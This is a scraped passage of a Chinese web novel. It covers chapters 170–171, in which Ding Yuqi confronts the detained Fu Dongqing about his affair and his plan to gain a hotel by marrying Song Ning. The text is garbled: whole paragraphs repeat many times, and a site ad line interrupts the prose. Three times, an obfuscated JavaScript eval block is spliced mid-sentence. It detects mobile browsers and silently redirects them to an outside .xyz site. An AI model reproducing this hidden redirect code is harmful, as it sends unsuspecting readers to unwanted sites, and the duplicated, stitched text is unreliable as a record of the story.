因此暂时享有一定程度上的自由。 当丁予期在沟通室内见到他时,他正在头也不抬的把玩手机。 两个男人的目光在空中交汇的一瞬间,空气沉闷的如同凝固了一般。 贸然打扰,只在到了地方后问是否要去接律师过来。 丁予期摆了摆手:“不必,你在这里等着,我应该用不了多长时间就能出来了。” 他没带任何人相陪,而是孤身一人进了警局。 走进去后,他取出提前准备好的证件,去到警方面前展示道:“我是宋凝宋小姐的代理律师,已经提前预约过了,这次来是为了见傅东擎一面。” 虽然他已经主动结束了自己的律师职业生涯,回归到了从前的本职,但曾经为了她考出来的从业执照仍旧能派上用场。 受害人的代理律师会想主动见嫌疑人的情况虽然不常见,可毕竟也是发生过的。 警方虽然有些疑惑他的动静,但还是同意了他的要求,并且在办手续的时候同他讲了傅东擎在这里的近况。 “……他没有任何要松口的意思,还是坚持声明这是个误会,他本意只是邀请宋小姐一起去出海游玩,至于后来事情是怎么变成那样的,他也不知道。” 警方显然不相信也不认可傅东擎的说辞,奈何抓不住更明确的证据,只能暂时继续寻找证据。 丁予期早料到傅东擎不会老老实实的在这里反思,毫不意外的点头道:“谢谢,我知道了。” 警方以为他手里的文件袋是和解书,并没有检查的太仔细,确认过他没有携带异物后就将他给放了进去。 傅东擎目前还处在拘留观察期,并没有被转移去拘留所。 因此暂时享有一定程度上的自由。 当丁予期在沟通室内见到他时,他正在头也不抬的把玩手机。 两个男人的目光在空中交汇的一瞬间,空气沉闷的如同凝固了一般。 贸然打扰,只在到了地方后问是否要去接律师过来。 丁予期摆了摆手:“不必,你在这里等着,我应该用不了多长时间就能出来了。” 他没带任何人相陪,而是孤身一人进了警局。 走进去后,他取出提前准备好的证件,去到警方面前展示道:“我是宋凝宋小姐的代理律师,已经提前预约过了,这次来是为了见傅东擎一面。” 虽然他已经主动结束了自己的律师职业生涯,回归到了从前的本职,但曾经为了她考出来的从业执照仍旧能派上用场。 受害人的代理律师会想主动见嫌疑人的情况虽然不常见,可毕竟也是发生过的。 警方虽然有些疑惑他的动静,但还是同意了他的要求,并且在办手续的时候同他讲了傅东擎在这里的近况。 “……他没有任何要松口的意思,还是坚持声明这是个误会,他本意只是邀请宋小姐一起去出海游玩,至于后来事情是怎么变成那样的,他也不知道。” 警方显然不相信也不认可傅东擎的说辞,奈何抓不住更明确的证据,只能暂时继续寻找证据。 丁予期早料到傅东擎不会老老实实的在这里反思,毫不意外的点头道:“谢谢,我知道了。” 警方以为他手里的文件袋是和解书,并没有检查的太仔细,确认过他没有携带异物后就将他给放了进去。 傅东擎目前还处在拘留观察期,并没有被转移去拘留所。 因此暂时享有一定程度上的自由。 当丁予期在沟通室内见到他时,他正在头也不抬的把玩手机。 两个男人的目光在空中交汇的一瞬间,空气沉闷的如同凝固了一般。 贸然打扰,只在到了地方后问是否要去接律师过来。 丁予期摆了摆手:“不必,你在这里等着,我应该用不了多长时间就能出来了。” 他没带任何人相陪,而是孤身一人进了警局。 走进去后,他取出提前准备好的证件,去到警方面前展示道:“我是宋凝宋小姐的代理律师,已经提前预约过了,这次来是为了见傅东擎一面。” 虽然他已经主动结束了自己的律师职业生涯,回归到了从前的本职,但曾经为了她考出来的从业执照仍旧能派上用场。 受害人的代理律师会想主动见嫌疑人的情况虽然不常见,可毕竟也是发生过的。 警方虽然有些疑惑他的动静,但还是同意了他的要求,并且在办手续的时候同他讲了傅东擎在这里的近况。 “……他没有任何要松口的意思,还是坚持声明这是个误会,他本意只是邀请宋小姐一起去出海游玩,至于后来事情是怎么变成那样的,他也不知道。” 警方显然不相信也不认可傅东擎的说辞,奈何抓不住更明确的证据,只能暂时继续寻找证据。 丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199576|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 予期早料到傅东擎不会老老实实的在这里反思,毫不意外的点头道:“谢谢,我知道了。” 警方以为他手里的文件袋是和解书,并没有检查的太仔细,确认过他没有携带异物后就将他给放了进去。 傅东擎目前还处在拘留观察期,并没有被转移去拘留所。 因此暂时享有一定程度上的自由。 当丁予期在沟通室内见到他时,他正在头也不抬的把玩手机。 两个男人的目光在空中交汇的一瞬间,空气沉闷的如同凝固了一般。 贸然打扰,只在到了地方后问是否要去接律师过来。 丁予期摆了摆手:“不必,你在这里等着,我应该用不了多长时间就能出来了。” 他没带任何人相陪,而是孤身一人进了警局。 走进去后,他取出提前准备好的证件,去到警方面前展示道:“我是宋凝宋小姐的代理律师,已经提前预约过了,这次来是为了见傅东擎一面。” 虽然他已经主动结束了自己的律师职业生涯,回归到了从前的本职,但曾经为了她考出来的从业执照仍旧能派上用场。 受害人的代理律师会想主动见嫌疑人的情况虽然不常见,可毕竟也是发生过的。 警方虽然有些疑惑他的动静,但还是同意了他的要求,并且在办手续的时候同他讲了傅东擎在这里的近况。 “……他没有任何要松口的意思,还是坚持声明这是个误会,他本意只是邀请宋小姐一起去出海游玩,至于后来事情是怎么变成那样的,他也不知道。” 警方显然不相信也不认可傅东擎的说辞,奈何抓不住更明确的证据,只能暂时继续寻找证据。 丁予期早料到傅东擎不会老老实实的在这里反思,毫不意外的点头道:“谢谢,我知道了。” 警方以为他手里的文件袋是和解书,并没有检查的太仔细,确认过他没有携带异物后就将他给放了进去。 傅东擎目前还处在拘留观察期,并没有被转移去拘留所。 因此暂时享有一定程度上的自由。 当丁予期在沟通室内见到他时,他正在头也不抬的把玩手机。 两个男人的目光在空中交汇的一瞬间,空气沉闷的如同凝固了一般。 贸然打扰,只在到了地方后问是否要去接律师过来。 丁予期摆了摆手:“不必,你在这里等着,我应该用不了多长时间就能出来了。” 他没带任何人相陪,而是孤身一人进了警局。 走进去后,他取出提前准备好的证件,去到警方面前展示道:“我是宋凝宋小姐的代理律师,已经提前预约过了,这次来是为了见傅东擎一面。” 虽然他已经主动结束了自己的律师职业生涯,回归到了从前的本职,但曾经为了她考出来的从业执照仍旧能派上用场。 受害人的代理律师会想主动见嫌疑人的情况虽然不常见,可毕竟也是发生过的。 警方虽然有些疑惑他的动静,但还是同意了他的要求,并且在办手续的时候同他讲了傅东擎在这里的近况。 “……他没有任何要松口的意思,还是坚持声明这是个误会,他本意只是邀请宋小姐一起去出海游玩,至于后来事情是怎么变成那样的,他也不知道。” 警方显然不相信也不认可傅东擎的说辞,奈何抓不住更明确的证据,只能暂时继续寻找证据。 丁予期早料到傅东擎不会老老实实的在这里反思,毫不意外的点头道:“谢谢,我知道了。” 警方以为他手里的文件袋是和解书,并没有检查的太仔细,确认过他没有携带异物后就将他给放了进去。 傅东擎目前还处在拘留观察期,并没有被转移去拘留所。 因此暂时享有一定程度上的自由。 当丁予期在沟通室内见到他时,他正在头也不抬的把玩手机。 两个男人的目光在空中交汇的一瞬间,空气沉闷的如同凝固了一般。 贸然打扰,只在到了地方后问是否要去接律师过来。 丁予期摆了摆手:“不必,你在这里等着,我应该用不了多长时间就能出来了。” 他没带任何人相陪,而是孤身一人进了警局。 走进去后,他取出提前准备好的证件,去到警方面前展示道:“我是宋凝宋小姐的代理律师,已经提前预约过了,这次来是为了见傅东擎一面。” 虽然他已经主动结束了自己的律师职业生涯,回归到了从前的本职,但曾经为了她考出来的从业执照仍旧能派上用场。 受害人的代理律师会想主动见嫌疑人的情况虽然不常见,可毕竟也是发生过的。 警方虽然有些疑惑他的动静,但还是同意了他的要求,并且在办手续的时候同他讲了傅东擎在这里的近况。 “……他没有任何要松口的意思,还是坚持声明这是个误会,他本意只是邀请宋小姐一起去出海游玩,至于后来事情是怎么变成那样的,他也不知道。” 警方显然不相信也不认可傅东擎的说辞,奈何抓不住更明确的证据,只能暂时继续寻找证据。 丁予期早料到傅东擎不会老老实实的在这里反思,毫不意外的点头道:“谢谢,我知道了。” 警方以为他手里的文件袋是和解书,并没有检查的太仔细,确认过他没有携带异物后就将他给放了进去。 傅东擎目前还处在拘留观察期,并没有被转移去拘留所。 因此暂时享有一定程度上的自由。 当丁予期在沟通室内见到他时,他正在头也不抬的把玩手机。 两个男人的目光在空中交汇的一瞬间,空气沉闷的如同凝固了一般。 第一百七十章 比你以为的要更早 几天没见,傅东擎仍旧穿着那一身黑色西装,身材也并没有消瘦。 可见傅学森和蒋秀兰的奔走还是起了一些作用的,他的生活品质不错。 只是他眉宇间似乎多了一丝若有似无的戾气。 眉心总是微微蹙着,眼神也变得尖锐而凌厉。 他看了一会儿丁予期,然后目光下移,落在了他的脖子上,目光瞬间变得锋利起来。 丁予期用手摸了摸他盯着的地方,一派轻松道:“蚊子咬的。 傅东擎似乎根本不相信,只是冷冷地低下头去,继续玩手机。 他不信,丁予期也没有再解释什么。 在傅东擎眼里,自己已经跟宋凝结婚,是合法夫妻,而且他亲眼目睹过宋凝已经住进了他在卫斯理酒店的套房里,要是说没发生过什么,似乎真的不太可信。 丁予期苦笑了一下。 不是他不想,只是他明白,宋凝表面上看起来和煦温柔,但她的性格要强,自尊自爱,如果不是真的心甘情愿,她不会主动走出下一步。 宋凝就像是一颗带着坚硬果壳的坚果,用强硬的办法打开,只会让里面的果仁也一起粉碎。 想要打开她,得用巧劲。 十五年都等过来了,现在又有了名分,他确实不急。 丁予期拉开了椅子,在椅子上坐下,主动打破沉默:“一段时间不见,你过的倒是挺潇洒,竟然还能玩手机,不过现在多玩一会儿也好,不然等到了拘留所就没的玩了,那里的条件也不如这里好。 说着,他侧目打量起沟通室的环境来,同时蹙眉发出嗤的一声。 这里的条件再好也跟外面没得比,况且还失去了自由和跟外界接触的机会,他不信傅东擎真能在这里住的从容不迫。 不过确实是证据确凿的**,人证物证都有,他无从抵赖,只能被关在这里,等待案件的进一步处理。 现在的他也只能玩手机消磨时间罢了。 傅东擎的坐姿果然微微一僵,然后他才将手机放到桌面上,向丁予期展示起了正在翻看的相册页面:“不好意思,我刚刚看照片看的太投入,没听到你在说什么。 丁予期含笑重复道,“没听到就算了,也不是什么重要的事。 他甚至朝着对面摊了下手,看起来一点也不着急,更不曾低头看过手机屏幕上的内容。 傅东擎见状,却是有些沉不住气了,主动对他说:“我正在整理从前的照片,这是我跟阿凝热恋期间拍的第一张合照,那时她满 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 心满眼都是我,人也要比现在青涩的多。” “这是我们订婚之后拍的,你看,是她主动牵起我的手,愿意跟我一起走进婚姻殿堂,还有这张,是我们一起……” 他每看一张照片都能想起那时的场景,唇角也洋溢着发自内心的笑容,是已然忘了自己特意赶在丁予期到来前把照片翻出来的目的。 倒是丁予期轻而易举的看穿了他的把戏,直白的戳穿道:“如果是想用这些照片刺激的话,那我只能劝你少费心思,你跟她是怎么一路走来的,我全程看着,说句实在话,你们两个这十五年中的细节,我比你这个当事人还记得清楚。” “是么?我并不这么认为。” 傅东擎一厢情愿的以为他是受了刺激在嘴硬,开始格外绘声绘色的渲染自己从前跟宋凝之间的感情有多好。 “我们在一起那么多年,爱对方早就已经成了习惯,我更是亲眼看着她从最初那个青涩稚嫩的小姑娘变成后来那个成熟端庄的傅太太,你以为她就舍得抛弃我们之间如此珍贵的过去么?” 他越说越激动,反而衬得丁予期格外冷静起来,任谁看到这一幕都会认定受刺激的人是他,而不是丁予期。 “说完了么?”丁予期云淡风轻的问了一句。 傅东擎还在等着他破防,听到他毫无波澜的话音后,整个人都怔在了当场,无力的像是一拳打在了棉花上。 丁予期捏了下刚刚被吵的头疼的鼻梁,用无所谓的语气表示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201956|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你看过的照片,我基本上也都见过了,如果会被这么轻易的刺激到,怎么可能忍你到现在?” 他真是忍傅东擎够久的了,如今双方撕破脸也算是好事一桩。 傅东擎见这招不起作用,直截了当地问了出来:“你处心积虑筹谋了这么多年,现在骗着宋凝跟你结了婚,你居然忍得住?” 丁予期眼眸微沉:“你在乎的只有这个吗?” 傅东擎嗤笑了一声:“你少装了,大家都是男人,难道你不在乎?” “我要是在乎,外面那么多漂亮可爱的未婚姑娘,我为什么偏偏要死等宋凝?” 傅东擎沉默了一会儿,问出了一个盘桓在心里已久的问题:“你究竟是什么时候对阿凝上了心的?” “很早之前?” “多早?” “比你以为的要更早。” 傅东擎眸中酝酿着阴云:“丁予期,你其实就是个懦夫。” “我不是懦夫,我只是不想宋凝受到伤害。” “嗤,还装?如果不是你,我跟阿凝现在还是恩爱的一对!” 丁予期的笑容有些意味深长:“恩爱的一对,你确定吗?” 傅东擎微微警惕起来:“你……是不是知道什么了?” 丁予期则显得很淡然:“你觉得我应该知道什么?” “……” “东擎,我说过,如果你能好好爱宋凝,哪怕是装的,只要你能装一辈子,我都不会做任何事。可是——你装不下去了,不是吗?” 傅东擎没有浪费在警局里待的这段时间,而是认真回忆了一番事情的全部经过。 很多事情其实并不复杂,只是他过去一直被各种事情牵绊着,没有往深里想。 在警局的这几天,他仔仔细细地把他和宋凝的一路走来复盘了好多遍,很多事情都已经想明白了。 比如林澜。 于是他问:“你为什么会选中林澜?她相貌平平,原生家庭更是拖后腿,我已经有了阿凝,你怎么确定我一定会注意到林澜?” 第一百七十一章 她已经把你从心里彻底清除出去了 “我不确定,老实说,我也没什么把握,但是林澜很确定地站在我面前告诉我,她会成功。我只是给了你们一个相识的机会而已,没有参与之后任何决议,无论是你们发展成情人关系,还是跟她上床,全都与我无关。” 傅东擎更生气了,他一拳砸在桌面上,红着眼眶怒道:“什么叫与你无关?你如果不是你,我跟林澜压根就没有认识的机会!” 他对自己上赶着跟林澜上床的事只字不提,仿佛那时是有人在拿刀逼他似的。 “傅总,”丁予期听完他的话,直接改了称呼:“每天从你面前经过的人那么多,甚至漂亮女人也不少,你为什么会被林澜吸引,跟她发展出婚外情,这难道也是我逼你的?” 傅东擎把脸别到一边,紧紧抿着唇。 丁予期见他事到如今还在负隅顽抗,言辞变得更犀利了起来:“看来你是不到黄河心不**,刚好我这里也有件刚查清楚的事需要跟你分享,希望你听完之后还能保持现在的心态去甩锅。” “当初你之所以会追求宋凝,其实也不是因为喜欢她,而是因为她是丽晶酒店所有者的独生女。” 沟通室里静到了落针可闻的地步。 傅东擎咬牙切齿的反驳道:“荒谬!你就算要挑拨我跟阿凝的关系,也应该换个方式,而不是说这样没有根据的谣言!” “无风不起浪,我说的到底是不是谣言,你应该最清楚。”丁予期收起了面上所有的表情,单就是在叙述他所了解到的事情经过。 “你以为自己得不到酒店了,所以便想要抛弃在你看来已经失去利用价值的宋凝,但你偏偏又怕被人戳脊梁骨,影响自己的名声,所以借口出国旅行,跟她分开了一段时间,这是真的吧?” 那时的宋凝正处在人生中最艰难的阶段。 那是她跟傅东擎刚刚确认关系的时候,她以为两个人是在热恋期,但傅东擎突然跟着导师去了国外参加研讨会,一去就是一个月。 宋凝给他打电话,提示关机,她以为是他换了国外的号码。 她是个实心眼的姑娘,就这么硬生生等着,怕影响他的工作,也不想打扰他。 可这一个月里,傅东擎跟一个师妹走得很近,连导师都看出来了,板着脸提醒他吃着碗里看着锅里,主动出面联系了宋凝,告诉了他们在国外的近况,他跟师妹才算不了了之了。 这一切宋凝都不知道,她傻乎乎的以为傅东擎真的在国外忙得不可开交,连打个电话都时间都没有,因此还很心疼。 傅东擎没想到时隔许久,这段往事竟然也会被翻出来。 他脸色青一阵白一阵的变幻了好一会儿,才底气不足的挤出一句:“出国研学是我早就制定好的计划,我不想改不行么?” “呵。”丁予期毫不客气的冷笑一声,戳穿道,“我认识你的时间也不算短了,虽然早知道你是个擅长粉饰自己所作所为的人,但听到你这样颠倒黑白,也还是得承认你的本事。” 傅东擎听他不像是在说好话,蹙眉道:“什么本事?” 丁予期扯了下唇角,讥讽道:“当然是厚脸皮的本事啊。我曾经也是个律师,如果没有确实的证据,我不会这样直白的指控你。如果你有需要的话,我倒是可以提供几张你跟师妹在泳池旁边的合照给你。” 他打开手中的文件袋,将夹子里的照片摆了出来。 傅东擎低头扫了一眼,马上就屏息凝神不敢说话了。 他抬手想去抢,但丁予期先一步抽走照片道:“天底下没有不透风的墙,傅总,这些照片我已经保存了将近十年了,当初知道这件事的时候,我就应该下手斩断你跟宋凝的孽缘。如果不是宋凝这个傻姑娘还傻乎乎的在等你回来,你以为我会等到现在?!” 丁予期这番话像是往他脸上扇了个无形的耳光,让他呼吸骤然变得急促起来。 傅东擎厉声喝道:“你以为这些照片能改变的了任何现实么?” 这话说的就像是他只在这件事上对不起宋凝,并且已经想出解决问题的办法了似的。 丁予期手中的筹码远比傅东擎所以为的要多,不慌不忙的又抛出一句:“是不能,因为不管宋凝知不知道这些往事,她都已经不会改变主意了,她已经把你从心里彻底清除出去了。” 傅东擎放在腿上的手骤然间握紧,微微颤抖着,手背上的青筋都绷了起来。 “……一开始我确实……但是后来我的确爱上她了,我也跟她结婚了。” “但你有告诉过她,你选择跟她结婚的原因么?” 这一次傅东擎总算是冷静下来了,没有再反驳什么。 丁予期没有再亮证据,但仅仅是他的言语也够傅东擎受的了,因为他所知道的远比对方所以为的要多的多。 他特意顿了一下,提醒道:“需要我再跟你说一遍于洪亮犯罪被抓的具体日期么?那之后没多久,李明富就把酒店买了回来,你以为自己又有希望了,就找过去威逼利诱,但是都失败了。” “这是正常的商业行为!”傅东擎一提起这件事就来气,他豁然起身,隔着桌面怒道,“我开出的条件已经够好了,但他一根筋的非得等宋凝回来接手酒店,我只能……” “你只能跟宋凝结婚,以宋凝丈夫的身份,才能拿到酒店的所有权。” “……我说了,我后面是真的喜欢上她了。” 这恐怕是“喜欢”一词被玷污的最狠的时刻了。 丁予期嗤之以鼻的质问到:“喜欢到新婚第二天就迫不及待的带着合同找到李明富,让他签字同意把酒店卖给你么?” 傅东擎没想到时隔许久,这段往事竟然也会被翻出来。 他脸色青一阵白一阵的变幻了好一会儿,才底气不足的挤出一句:“出国研学是我早就制定好的计划,我不想改不行么?” “呵。”丁予期毫不客气的冷笑一声,戳穿道,“我认识你的时间也不算短了,虽然早知道你是个擅长粉饰自己所作所为的人,但听到你这样颠倒黑白,也还是得承认你的本事。” 傅东擎听他不像是在说好话,蹙眉道:“什么本事?” 丁予期扯了下唇角,讥讽道:“当然是厚脸皮的本事啊。我曾经也是个律师,如果没有确实的证据,我不会这样直白的指控你。如果你有需要的话,我倒是可以提供几张你跟师妹在泳池旁边的合照给你。” 他打开手中的文件袋,将夹子里的照片摆了出来。 傅东擎低头扫了一眼,马上就屏息凝神不敢说话了。 他抬手想去抢,但丁予期先一步抽走照片道:“天底下没有不透风的墙,傅总,这些照片我已经保存了将近十年了,当初知道这件事的时候,我就应该下手斩断你跟宋凝的孽缘。如果不是宋凝这个傻姑娘还傻乎乎的在等你回来,你以为我会等到现在?!” 丁予期这番话像是往他脸上扇了个无形的耳光,让他呼吸骤然变得急促起来。 傅东擎厉声喝道:“你以为这些照片能改变的了任何现实么?” 这话说的就像是他只在这件事上对不起宋凝,并且已经想出解决问题的办法了似的。 丁予期手中的筹码远比傅东擎所以为的要多,不慌不忙的又抛出一句:“是不能,因为不管宋凝知不知道这些往事,她都已经不会改变主意了,她已经把你从心里彻底清除出去了。” 傅东擎放在腿上的手骤然间握紧,微微颤抖着,手背上的青筋都绷了起来。 “……一开始我确实……但是后来我的确爱上她了,我也跟她结婚了。” “但你有告诉过她,你选择跟她结婚的原因么?” 这一次傅东擎总算是冷静下来了,没有再反驳什么。 丁予期没有再亮证据,但仅仅是他的言语也够傅东擎受的了,因为他所知道的远比对方所以为的要多的多。 他特意顿了一下,提醒道:“需要我再跟你说一遍于洪亮犯罪被抓的具体日期么?那之后没多久,李明富就把酒店买了回来,你以为自己又有希望了,就找过去威逼利诱,但是都失败了。” “这是正常的商业行为!”傅东擎一提起这件事就来气,他豁然起身,隔着桌面怒道,“我开出的条件已经够好了,但他一根筋的非得等宋凝回来接手酒店,我只能……” “你只能跟宋凝结婚,以宋凝丈夫的身份,才能拿到酒店的所有权。” “……我说了,我后面是真的喜欢上她了。” 这恐怕是“喜欢”一词被玷污的最狠的时刻了。 丁予期嗤之以鼻的质问到:“喜欢到新婚第二天就迫不及待的带着合同找到李明富,让他签字同意把酒店卖给你么?” 傅东擎没想到时隔许久,这段往事竟然也会被翻出来。 他脸色青一阵白一阵的变幻了好一会儿,才底气不足的挤出一句:“出国研学是我早就制定好的计划,我不想改不行么?” “呵。”丁予期毫不客气的冷笑一声,戳穿道,“我认识你的时间也不算短了,虽然早知道你是个擅长粉饰自己所作所为的人,但听到你这样颠倒黑白,也还是得承认你的本事。” 傅东擎听他不像是在说好话,蹙眉道:“什么本事?” 丁予期扯了下唇角,讥讽道:“当然是厚脸皮的本事啊。我曾经也是个律师,如果没有确实的证据,我不会这样直白的指控你。如果你有需要的话,我倒是可以提供几张你跟师妹在泳池旁边的合照给你。” 他打开手中的文件袋,将夹子里的照片摆了出来。 傅东擎低头扫了一眼,马上就屏息凝神不敢说话了。 他抬手想去抢,但丁予期先一步抽走照片道:“天底下没有不透风的墙,傅总,这些照片我已经保存了将近十年了,当初知道这件事的时候,我就应该下手斩断你跟宋凝的孽缘。如果不是宋凝这个傻姑娘还傻乎乎的在等你回来,你以为我会等到现在?!” 丁予期这番话像是往他脸上扇了个无形的耳光,让他呼吸骤然变得急促起来。 傅东擎厉声喝道:“你以为这些照片能改变的了任何现实么?” 这话说的就像是他只在这件事上对不起宋凝,并且已经想出解决问题的办法了似的。 丁予期手中的筹码远比傅东擎所以为的要多,不慌不忙的又抛出一句:“是不能,因为不管宋凝知不知道这些往事,她都已经不会改变主意了,她已经把你从心里彻底清除出去了。” 傅东擎放在腿上的手骤然间握紧,微微颤抖着,手背上的青筋都绷了起来。 “……一开始我确实……但是后来我的确爱上她了,我也跟她结婚了。” “但你有告诉过她,你选择跟她结婚的原因么?” 这一次傅东擎总算是冷静下来了,没有再反驳什么。 丁予期没有再亮证据,但仅仅是他的言语也够傅东擎受的了,因为他所知道的远比对方所以为的要多的多。 他特意顿了一下,提醒道:“需要我再跟你说一遍于洪亮犯罪被抓的具体日期么?那之后没多久,李明富就把酒店买了回来,你以为自己又有希望了,就找过去威逼利诱,但是都失败了。” “这是正常的商业行为!”傅东擎一提起这件事就来气,他豁然起身,隔着桌面怒道,“我开出的条件已经够好了,但他一根筋的非得等宋凝回来接手酒店,我只能……” “你只能跟宋凝结婚,以宋凝丈夫的身份,才能拿到酒店的所有权。” “……我说了,我后面是真的喜欢上她了。” 这恐怕是“喜欢”一词被玷污的最狠的时刻了。 丁予期嗤之以鼻的质问到:“喜欢到新婚第二天就迫不及待的带着合同找到李明富,让他签字同意把酒店卖给你么?” 傅东擎没想到时隔许久,这段往事竟然也会被翻出来。 他脸色青一阵白一阵的变幻了好一会儿,才底气不足的挤出一句:“出国研学是我早就制定好的计划,我不想改不行么?” “呵。”丁予期毫不客气的冷笑一声,戳穿道,“我认识你的时间也不算短了,虽然早知道你是个擅长粉饰自己所作所为的人,但听到你这样颠倒黑白,也还是得承认你的本事。” 傅东擎听他不像是在说好话,蹙眉道:“什么本事?” 丁予期扯了下唇角,讥讽道:“当然是厚脸皮的本事啊。我曾经也是个律师,如果没有确实的证据,我不会这样直白的指控你。如果你有需要的话,我倒是可以提供几张你跟师妹在泳池旁边的合照给你。” 他打开手中的文件袋,将夹子里的照片摆了出来。 傅东擎低头扫了一眼,马上就屏息凝神不敢说话了。 他抬手想去抢,但丁予期先一步抽走照片道:“天底下没有不透风的墙,傅总,这些照片我已经保存了将近十年了,当初知道这件事的时候,我就应该下手斩断你跟宋凝的孽缘。如果不是宋凝这个傻姑娘还傻乎乎的在等你回来,你以为我会等到现在?!” 丁予期这番话像是往他脸上扇了个无形的耳光,让他呼吸骤然变得急促起来。 傅东擎厉声喝道:“你以为这些照片能改变的了任何现实么?” 这话说的就像是他只在这件事上对不起宋凝,并且已经想出解决问题的办法了似的。 丁予期手中的筹码远比傅东擎所以为的要多,不慌不忙的又抛出一句:“是不能,因为不管宋凝知不知道这些往事,她都已经不会改变主意了,她已经把你从心里彻底清除出去了。” 傅东擎放在腿上的手骤然间握紧,微微颤抖着,手背上的青筋都绷了起来。 “……一开始我确实……但是后来我的确爱上她了,我也跟她结婚了。” “但你有告诉过她,你选择跟她结婚的原因么?” 这一次傅东擎总算是冷静下来了,没有再反驳什么。 丁予期没有再亮证据,但仅仅是他的言语也够傅东擎受的了,因为他所知道的远比对方所以为的要多的多。 他特意顿了一下,提醒道:“需要我再跟你说一遍于洪亮犯罪被抓的具体日期么?那之后没多久,李明富就把酒店买了回来,你以为自己又有希望了,就找过去威逼利诱,但是都失败了。” “这是正常的商业行为!”傅东擎一提起这件事就来气,他豁然起身,隔着桌面怒道,“我开出的条件已经够好了,但他一根筋的非得等宋凝回来接手酒店,我只能……” “你只能跟宋凝结婚,以宋凝丈夫的身份,才能拿到酒店的所有权。” “……我说了,我后面是真的喜欢上她了。” 这恐怕是“喜欢”一词被玷污的最狠的时刻了。 丁予期嗤之以鼻的质问到:“喜欢到新婚第二天就迫不及待的带着合同找到李明富,让他签字同意把酒店卖给你么?” 傅东擎没想到时隔许久,这段往事竟然也会被翻出来。 他脸色青一阵白一阵的变幻了好一会儿,才底气不足的挤出一句:“出国研学是我早就制定好的计划,我不想改不行么?” “呵。”丁予期毫不客气的冷笑一声,戳穿道,“我认识你的时间也不算短了,虽然早知道你是个擅长粉饰自己所作所为的人,但听到你这样颠倒黑白,也还是得承认你的本事。” 傅东擎听他不像是在说好话,蹙眉道:“什么本事?” 丁予期扯了下唇角,讥讽道:“当然是厚脸皮的本事啊。我曾经也是个律师,如果没有确实的证据,我不会这样直白的指控你。如果你有需要的话,我倒是可以提供几张你跟师妹在泳池旁边的合照给你。” 他打开手中的文件袋,将夹子里的照片摆了出来。 傅东擎低头扫了一眼,马上就屏息凝神不敢说话了。 他抬手想去抢,但丁予期先一步抽走照片道:“天底下没有不透风的墙,傅总,这些照片我已经保存了将近十年了,当初知道这件事的时候,我就应该下手斩断你跟宋凝的孽缘。如果不是宋凝这个傻姑娘还傻乎乎的在等你回来,你以为我会等到现在?!” 丁予期这番话像是往他脸上扇了个无形的耳光,让他呼吸骤然变得急促起来。 傅东擎厉声喝道:“你以为这些照片能改变的了任何现实么?” 这话说的就像是他只在这件事上对不起宋凝,并且已经想出解决问题的办法了似的。 丁予期手中的筹码远比傅东擎所以为的要多,不慌不忙的又抛出一句:“是不能,因为不管宋凝知不知道这些往事,她都已经不会改变主意了,她已经把你从心里彻底清除出去了。” 傅东擎放在腿上的手骤然间握紧,微微颤抖着,手背上的青筋都绷了起来。 “……一开始我确实……但是后来我的确爱上她了,我也跟她结婚了。” “但你有告诉过她,你选择跟她结婚的原因么?” 这一次傅东擎总算是冷静下来了,没有再反驳什么。 丁予期没有再亮证据,但仅仅是他的言语也够傅东擎受的了,因为他所知道的远比对方所以为的要多的多。 他特意顿了一下,提醒道:“需要我再跟你说一遍于洪亮犯罪被抓的具体日期么?那之后没多久,李明富就把酒店买了回来,你以为自己又有希望了,就找过去威逼利诱,但是都失败了。” “这是正常的商业行为!”傅东擎一提起这件事就来气,他豁然起身,隔着桌面怒道,“我开出的条件已经够好了,但他一根筋的非得等宋凝回来接手酒店,我只能……” “你只能跟宋凝结婚,以宋凝丈夫的身份,才能拿到酒店的所有权。” “……我说了,我后面是真的喜欢上她了。” 这恐怕是“喜欢”一词被玷污的最狠的时刻了。 丁予期嗤之以鼻的质问到:“喜欢到新婚第二天就迫不及待的带着合同找到李明富,让他签字同意把酒店卖给你么?” 傅东擎没想到时隔许久,这段往事竟然也会被翻出来。 他脸色青一阵白一阵的变幻了好一会儿,才底气不足的挤出一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201957|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“出国研学是我早就制定好的计划,我不想改不行么?” “呵。”丁予期毫不客气的冷笑一声,戳穿道,“我认识你的时间也不算短了,虽然早知道你是个擅长粉饰自己所作所为的人,但听到你这样颠倒黑白,也还是得承认你的本事。” 傅东擎听他不像是在说好话,蹙眉道:“什么本事?” 